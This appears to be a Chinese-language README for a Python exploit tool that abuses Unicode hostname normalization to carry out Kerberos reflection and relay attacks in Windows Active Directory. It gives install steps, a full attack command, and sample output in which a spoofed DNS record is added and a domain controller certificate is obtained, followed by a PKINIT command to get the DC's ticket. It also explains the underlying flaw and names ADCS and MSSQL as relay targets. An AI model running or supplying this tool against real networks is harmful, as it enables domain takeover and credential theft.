
用于通过 Windows Active Directory 中的 Unicode 规范化利用 Kerberos 反射的 Python 工具。基于 Guillaume André / Synacktiv 的研究。
这些工具仅兼容 Python 3.8+。从 GitHub 克隆仓库,安装依赖项,然后就可以使用了:
git clone https://github.com/jarnovandenbrink/CVE-2026-26128.git
cd CVE-2026-26128
pip install -r requirements.txt
python3 CVE-2026-26128.py contoso.com/john:password -t http://contoso-dc.contoso.com/certsrv/certfnsh.asp -l 192.168.1.80 -dc-ip 192.168.1.10
[*] Connecting to LDAP on 192.168.1.10
[*] LDAP connection established
[*] Adding DNS record: cⓞntoso-dc.contoso.com
[*] Waiting for DNS propagation... 180s
[*] DNS propagation complete
[*] Setting up SMB Server
[*] SMBD: Received connection from 192.168.1.10
[*] HTTP server returned status code 200, treating as a successful login
[*] [+] Attack worked!
[*] Certificate will be written to: /path/to/CONTOSO-DC.pfx
[*] To request a TGT using PKINIT run:
python3 gettgtpkinit.py contoso.com/CONTOSO-DC$ -cert-pfx /path/to/CONTOSO-DC.pfx -dc-ip 192.168.1.10 out.ccache
[*] GOT CERTIFICATE! ID 16
[*] Writing PKCS#12 certificate to ./CONTOSO-DC.pfx
[*] Certificate successfully written to file
或者,此攻击也可以针对 ADCS Web 注册和 MSSQL 执行。请注意,对于 Kerberos 中继到 MSSQL,SQL Server 必须以计算机账户身份运行。否则,AP-REQ 将无法使用正确的密钥进行解密。
该工具利用了 Windows 在解析 SPN 时规范化 Unicode 字符的方式。DnsCache 服务使用带有 NORM_IGNORECASE 的 CompareStringW,它将 ⓢⓡⓥ1․ⓐⓓ․ⓛⓞⓒⓐⓛ 与 srv1.ad.local 区别对待,从而导致其发出 DNS 请求。另一方面,域控制器使用带有规范化标志 0x31403 的 LCMapStringEx。通过为 Unicode 主机名注册 DNS 记录并将其指向攻击者机器,AP-REQ 可以被中继到任何不强制实施通道绑定或通信完整性的服务。
支持的中继目标为 ADCS Web 注册和 MSSQL。SCCM AdminService 支持正在计划中。请注意,对于已安装 2026 年 3 月补丁星期二更新的系统,SMB 中继已不再可行。